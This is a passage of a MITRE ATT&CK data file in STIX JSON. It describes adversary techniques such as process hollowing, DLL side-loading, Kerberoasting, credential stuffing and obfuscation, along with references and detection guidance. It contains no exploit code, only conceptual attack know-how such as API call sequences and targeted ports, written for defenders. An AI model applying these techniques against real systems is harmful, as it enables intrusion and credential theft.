2014"}],"modified":"2020-03-20T14:28:39.529Z","name":"DLL Side-Loading","description":"Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Anti-virus"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","type":"attack-pattern","created":"2020-01-14T17:21:54.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.012","url":"https://attack.mitre.org/techniques/T1055/012"},{"url":"http://www.autosectools.com/process-hollowing.pdf","description":"Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.","source_name":"Leitch Hollowing"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"source_name":"Nviso Spoof Command Line 2020","url":"https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/","description":"Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."},{"source_name":"Mandiant Endpoint Evading 2019","url":"https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode","description":"Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."}],"modified":"2021-11-29T17:22:32.704Z","name":"Process Hollowing","description":"Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.  \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: OS API Execution","Process: Process Access"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics","Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security","Idan Revivo, @idanr86, Team Nautilus Aqua Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","type":"attack-pattern","created":"2017-05-31T21:30:55.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1068","url":"https://attack.mitre.org/techniques/T1068"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."},{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."},{"source_name":"Microsoft Driver Block Rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules","description":"Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."}],"modified":"2021-04-22T16:13:34.896Z","name":"Exploitation for Privilege Escalation","description":"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Driver: Driver Load"],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jaron Bradley @jbradley89","Ivan Sinyakov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","type":"attack-pattern","created":"2021-10-12T20:02:31.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.009","url":"https://attack.mitre.org/techniques/T1564/009"},{"source_name":"macOS Hierarchical File System Overview","url":"http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553","description":"Tenon. (n.d.). Retrieved October 12, 2021."},{"source_name":"Resource and Data Forks","url":"https://flylib.com/books/en/4.395.1.192/1/","description":"Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021."},{"source_name":"ELC Extended Attributes","url":"https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/","description":"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021."},{"source_name":"sentinellabs resource named fork 2020","url":"https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/","description":"Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021."},{"source_name":"tau bundlore erika noerenberg 2020","url":"https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html","description":"Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021."}],"modified":"2021-10-16T01:50:40.276Z","name":"Resource Forking","description":"Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Identify files with the <code>com.apple.ResourceFork</code> extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","File: File Creation","Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Notarization; Gatekeeper"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Office 365","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","created":"2019-10-09T18:48:31.906Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1531","url":"https://attack.mitre.org/techniques/T1531"},{"source_name":"CarbonBlack LockerGoga 2019","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/","description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019."},{"source_name":"Unit42 LockerGoga 2019","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the <code>passwd</code> utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ","modified":"2022-04-19T22:57:27.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Account Access Removal","x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["User Account: User Account Modification","Active Directory: Active Directory Object Modification","User Account: User Account Deletion"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Diogo Fernandes","Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","type":"attack-pattern","created":"2020-02-11T18:39:59.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1110.004","url":"https://attack.mitre.org/techniques/T1110/004"},{"external_id":"CAPEC-600","source_name":"capec","url":"https://capec.mitre.org/data/definitions/600.html"},{"source_name":"US-CERT TA18-068A 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."}],"modified":"2021-04-06T12:31:06.695Z","name":"Credential Stuffing","description":"Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","User Account: User Account Authentication"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1208","url":"https://attack.mitre.org/techniques/T1208"},{"url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","source_name":"Microsoft Detecting Kerberoasting Feb 2018"},{"url":"https://msdn.microsoft.com/library/ms677949.aspx","description":"Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.","source_name":"Microsoft SPN"},{"url":"https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx","description":"Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.","source_name":"Microsoft SetSPN"},{"description":"Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.","source_name":"SANS Attacking Kerberos Nov 2014","url":"https://redsiege.com/kerberoast-slides"},{"url":"https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/","description":"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.","source_name":"Harmj0y Kerberoast Nov 2016"},{"url":"https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1","description":"EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.","source_name":"Empire InvokeKerberoast Oct 2016"},{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2020-10-20T19:30:10.297Z","name":"Kerberoasting","description":"Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Valid domain account or the ability to sniff traffic within a domain."]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Red Canary","Christiaan Beek, @ChristiaanBeek"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","type":"attack-pattern","created":"2017-05-31T21:30:32.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1027","url":"https://attack.mitre.org/techniques/T1027"},{"external_id":"CAPEC-267","source_name":"capec","url":"https://capec.mitre.org/data/definitions/267.html"},{"url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","source_name":"Volexity PowerDuke November 2016"},{"url":"https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/","description":"Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.","source_name":"Linux/Cdorked.A We Live Security Analysis"},{"url":"https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/","description":"Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.","source_name":"Carbon Black Obfuscation Sept 2016"},{"url":"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","source_name":"FireEye Obfuscation June 2017"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf","description":"Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.","source_name":"FireEye Revoke-Obfuscation July 2017"},{"url":"https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/","description":"White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.","source_name":"PaloAlto EncodedCommand March 2017"},{"url":"https://github.com/danielbohannon/Revoke-Obfuscation","description":"Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.","source_name":"GitHub Revoke-Obfuscation"},{"url":"https://github.com/itsreallynick/office-crackros","description":"Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.","source_name":"GitHub Office-Crackros Aug 2016"}],"modified":"2022-03-11T16:45:38.033Z","name":"Obfuscated Files or Information","description":"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Metadata","File: File Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Host forensic analysis","Signature-based detection","Host intrusion prevention systems","Application control","Log analysis","Application control by file name or path"]},{"x_mitre_platforms":["Office 365","Windows","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","type":"attack-pattern","created":"2020-02-19T18:52:24.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1114.002","url":"https://attack.mitre.org/techniques/T1114/002"}],"modified":"2021-03-25T13:12:56.909Z","name":"Remote Email Collection","description":"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Logon Session: Logon Session Creation","Command: Command Execution"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","type":"attack-pattern","created":"2021-06-03T18:44:29.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505.004","url":"https://attack.mitre.org/techniques/T1505/004"},{"source_name":"Microsoft ISAPI Extension Overview 2017","url":"https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)","description":"Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021."},{"source_name":"Microsoft ISAPI Filter Overview 